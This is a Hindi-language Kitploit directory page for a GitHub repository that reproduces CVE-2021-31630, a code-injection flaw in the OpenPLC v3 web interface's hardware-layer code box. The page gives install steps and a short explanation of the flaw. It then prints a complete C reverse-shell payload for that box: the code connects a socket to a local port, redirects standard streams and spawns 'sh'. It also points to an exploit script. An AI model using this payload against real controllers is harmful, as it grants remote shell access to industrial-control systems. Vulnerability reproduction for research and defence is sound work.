Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
OpenPLC_v3 — CVE-2021-31630 को पुनरुत्पादित करने के लिए | Kitploit
उपकरण/GitHubGitHub/tranquac/openplc_v3
भेद्यता विश्लेषणकोड विश्लेषणशोषणSCADA/ICS सुरक्षावेब एप्लिकेशन शोषणकमांड एंड कंट्रोल
GitHubtranquac/openplc_v3

OpenPLC_v3

CVE-2021-31630 को पुनरुत्पादित करने के लिए

रिपॉजिटरी देखें
9 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

OpenPLC रनटाइम संस्करण 3

परिचय

Build Status Build status

OpenPLC एक उपयोग में आसान, सॉफ़्टवेयर-आधारित ओपन-सोर्स प्रोग्रामेबल लॉजिक कंट्रोलर है। हमारा ध्यान स्वचालन और अनुसंधान के लिए कम लागत वाला औद्योगिक समाधान प्रदान करने पर है। OpenPLC का उपयोग कई शोध पत्रों में औद्योगिक साइबर सुरक्षा अनुसंधान के ढाँचे के रूप में किया गया है, क्योंकि यह एकमात्र नियंत्रक है जो संपूर्ण स्रोत कोड प्रदान करता है। OpenPLC परियोजना में तीन उप-परियोजनाएँ शामिल हैं:

  1. रनटाइम
  2. प्रोग्रामिंग संपादक
  3. HMI बिल्डर

स्थापना

root@kitploit:~
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

जहाँ [platform] निम्न में से एक हो सकता है:

win - विंडोज़ पर Cygwin के माध्यम से OpenPLC स्थापित करें।

linux - Debian-आधारित Linux वितरण पर OpenPLC स्थापित करें।

docker - Dockerfile द्वारा उपयोग किया जाता है (अर्थात sudo को आमंत्रित नहीं करता है)।

rpi - Raspberry Pi पर OpenPLC स्थापित करें।

custom - सभी विशिष्ट पैकेज स्थापना को छोड़ें और OpenPLC को स्थापित करने का प्रयास करें, यह मानते हुए कि आपके सिस्टम में पहले से ही सभी निर्भरताएँ मौजूद हैं। यह विकल्प तब उपयोगी हो सकता है जब आप किसी असमर्थित Linux प्लेटफ़ॉर्म पर OpenPLC स्थापित करने का प्रयास कर रहे हों या पहले सभी निर्भरता पैकेज मैन्युअल रूप से स्थापित कर चुके हों।

CVE-2021-31630

CVE-2021-31630 OpenPLC के WebServer पर code/command injection प्रकार की कमजोरी है (v3 संस्करण जिसे समुदाय द्वारा व्यापक रूप से उपयोग किया जाता है)। यह दोष /hardware इंटरफ़ेस (Hardware Layer Code Box) में कोड लोड/संपादित करने की सुविधा में है, जहाँ इनपुट डेटा को सर्वर स्तर पर संसाधित करने से पहले पर्याप्त रूप से फ़िल्टर/सैनिटाइज़ नहीं किया जाता है, जिससे वेबसर्वर प्रक्रिया के अधिकार के तहत कोड निष्पादन की संभावना उत्पन्न होती है। यह कमजोरी 2021 में सार्वजनिक की गई थी और सार्वजनिक कमजोरी डेटाबेस में इसकी गंभीरता उच्च है।

तकनीकी विवरण (रक्षात्मक स्तर): वेब इंटरफ़ेस उपयोगकर्ता द्वारा दर्ज "हार्डवेयर लेयर कोड" के एक टुकड़े को स्वीकार करता है। इस डेटा को बाद में सर्वर घटकों द्वारा संसाधित किया जाता है जो इसे संकलित/सामान्यीकृत कर सकते हैं या इसे कमांड संदर्भ में डाल सकते हैं, बिना किसी जाँच, विशेष वर्ण फ़िल्टरिंग, या कड़े प्रतिबंधों को लागू किए। कुछ शर्तों के तहत (उदाहरण के लिए, डेटा को सिस्टम कमांड स्ट्रिंग में जोड़ा जाता है, या सीधे कोड-प्रोसेसिंग फ़ंक्शन में पारित किया जाता है), एक हमलावर निष्पादन प्रवाह को बदलने वाले नियंत्रण खंड डाल सकता है।

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

शोषण कोड: cve-2021-31630.py

टूल डाउनलोड करें